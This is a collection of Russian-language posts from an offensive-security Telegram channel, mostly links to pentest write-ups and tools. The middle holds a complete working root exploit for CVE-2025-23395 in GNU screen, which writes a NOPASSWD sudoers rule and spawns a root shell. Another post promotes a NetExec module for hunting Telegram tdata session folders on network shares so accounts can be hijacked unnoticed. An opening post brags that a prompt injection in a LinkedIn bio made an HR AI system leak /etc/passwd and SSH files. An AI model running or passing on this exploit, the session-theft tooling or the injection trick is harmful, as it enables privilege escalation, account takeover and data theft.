Fsecurity | HH

Кажется я рассказывал тут как мой скилл в Linkedin в виде blind xss срабатывал в разных местах и системах. Пришла эпоха prompt injection в Linkedin Bio 😁. Уже работает! 🤣 На фото реальная история как HR вернул содержимое etc/passwd, IP и ~/.ssh PS: Теперь точно без работы не останемся 😁

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://www.welivesecurity.com/en/eset-research/operation-roundpress/

Just make some Telegram enumeration ❤️ Наверняка многие уже слышали про папку tdata, которую Telegram Desktop создает локально на устройстве пользователя. Но далеко не все понимают, какую ценность она представляет для атакующего ❗️ Если вы получаете доступ к tdata, вы фактически получаете незаметный доступ к Telegram-аккаунту пользователя. Такая сессия не отображается в списке активных сессий Telegram, и владелец аккаунта даже не узнает о компрометации. Для ред тимеров это отличный вектор для реализации техники T1552.008 Unsecured Credentials: Chat Messages 😏 Для автоматизации энумерации устройств с Telegram Desktop я написал легковесный модуль для NetExec (форк CrackMapExec). Модуль сканирует Windows-шары по сети и ищет следы установленного Telegram ✈️ 5️⃣ GitHub repo: https://github.com/s0ld13rr/nxc_modules 👩‍💻 Usage:

nxc smb 10.0.0.0/8 -u 'user' -p 'password' -M telegram

P.S Автор не несет ответственности за неправомерное использование инструмента. Используйте осознанно и только в согласованных Red Team проектах🚨 🧢 s0ld13r

🖼️ Подборка cheat sheet по пентесту различных технологий контейнеризация и оркестрации контейнеризации Kubernetes Pentesting MicroK8s Pentesting Docker Engine API Pentesting Docker Escape Docker Pentesting Docker Registry Pentesting Moby Docker Engine PrivEsc Простой скрипт для проверки базовых векторов побега из Docker https://github.com/eversinc33/JailWhale 🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч

🔗Ссылка: https://habr.com/ru/companies/globalsign/articles/908382/

🔗Ссылка: https://habr.com/ru/articles/906076/

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://www.securitylab.ru/news/559343.php

🔗Ссылка: https://cyberskies.org/posts/CPTS

Добавлю)) https://github.com/badsectorlabs/ludus_adaptix_c2

🔗Ссылка: https://www.yeswehack.com/learn-bug-bounty/practical-guide-path-traversal-attacks

🔗Ссылка: https://pentestnotes.ru/notes/bitrix_pentest_full/

Несколько часов назад была сильно обновлена утилита certipy. Обратим внимание, что в документации также появилось описание техники ESC16... #redteam #pentest #ad #adcs

CVE-2025-23395 Screen LPE exploit

#!/bin/sh

F=$(mktemp)
L=${HOME}/screen.log
T=/etc/sudoers
rm -rf $F $L
mkfifo $F
O=$(stat --printf="%s" $T)
echo "[+] spawning GNU screen"
screen -L -Logfile $L -dmS hax sh -c "cat $F"
while [ ! -f $L ]; do sleep 0.1; done
echo "[+] logfile appeared, doing hax"
rm $L
ln -s $T $L
P="${USER} ALL=(ALL) NOPASSWD:ALL"
(echo $P; for i in `seq 8192`; do echo; done) > $F
if [ $(stat --printf="%s" $T) -gt $O ] ; then
        echo "[+] bl1ng bl1ng, we got it"
        sudo sh
else
        echo "[-] exploit failed :("
fi
rm -rf $F $L

Blog: https://security.opensuse.org/2025/05/12/screen-security-issues.html#3a-local-root-exploit-via-logfile_reopen-cve-2025-23395

#soc FalconHound С момента своего выхода в 2016 году BloodHound стал основным инструментом для специалистов по наступательной безопасности, позволяющим выявлять неправильные конфигурации в Active Directory. Основная цель FalconHound - обеспечить использование всех различных событий в системе и обновление базы данных BloodHound для улучшения качества работы синих команд при его использовании

🔗Ссылка: https://habr.com/ru/articles/908814/

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://opennet.ru/63237/